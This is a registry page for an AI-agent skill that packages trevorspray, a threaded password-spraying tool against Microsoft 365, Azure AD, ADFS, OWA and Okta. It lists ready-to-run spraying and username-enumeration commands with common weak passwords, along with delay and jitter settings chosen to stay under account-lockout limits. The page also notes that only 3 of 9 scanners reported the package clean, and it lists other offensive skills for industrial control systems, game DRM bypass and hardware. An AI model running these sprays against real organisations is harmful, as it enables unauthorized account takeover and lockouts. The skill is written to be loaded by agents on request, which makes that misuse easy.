offensive-tools/windows/trevorspray/SKILL.md
Threaded password spraying tool targeting Microsoft 365, Azure AD, ADFS, and on-prem Active Directory. Use when asked to perform password spraying against Office 365, Azure, or AD environments, enumerate valid usernames, or test lockout-safe spraying with jitter and delay controls.
npx skillsauth add aeondave/malskill trevorsprayInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Modular, threaded password spraying tool for Microsoft/Azure/AD targets.
# Spray M365 with a single password
trevorspray -u users.txt -p "Summer2024!" --module msol
# Spray on-prem AD via ADFS
trevorspray -u users.txt -p "Password123" --module adfs -t https://adfs.target.com
# Enumerate valid users only (no password)
trevorspray -u users.txt --module msol --enum
| Flag | Description |
|------|-------------|
| -u <file> | Username file (or single username) |
| -p <pass> | Password to spray |
| -P <file> | Password list (spray each, with delay) |
| --module <mod> | Target module |
| -t <url> | Target URL (for ADFS/OWA modules) |
| --threads <n> | Threads (default 1) |
| --delay <s> | Delay between requests (seconds) |
| --jitter <s> | Random jitter added to delay |
| --lockout-delay <s> | Wait after potential lockout |
| --enum | Username enumeration only |
| -o <file> | Output file |
| --reauth | Re-authenticate after delay (for expired tokens) |
| --proxy <url> | Proxy |
| Module | Target |
|--------|--------|
| msol | Microsoft Online / Office 365 |
| adfs | Active Directory Federation Services |
| owa | Outlook Web Access |
| lync | Skype for Business |
| okta | Okta SSO |
# Safe M365 spray — 1 attempt per 30 min to avoid lockouts
trevorspray -u users.txt -p "Spring2024!" --module msol --delay 1800 --jitter 60
# Enumerate valid M365 users (no lockout risk)
trevorspray -u users.txt --module msol --enum -o valid_users.txt
# ADFS spray with proxy
trevorspray -u users.txt -p "Password1" --module adfs -t https://sts.target.com \
--delay 60 --jitter 30 --proxy http://127.0.0.1:8080
# Multi-password spray with controlled delay
trevorspray -u valid_users.txt -P passwords.txt --module msol --delay 3600
crackmapexec smb <dc> --pass-pol--delay 3600 (1 hour) for environments with 1-attempt/hour lockout policies--enum first to reduce invalid user noise--delay 1800 --jitter 300| File | When to load |
|------|--------------|
| references/lockout-policy.md | Lockout policy detection, safe timing calculations, user enumeration techniques |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.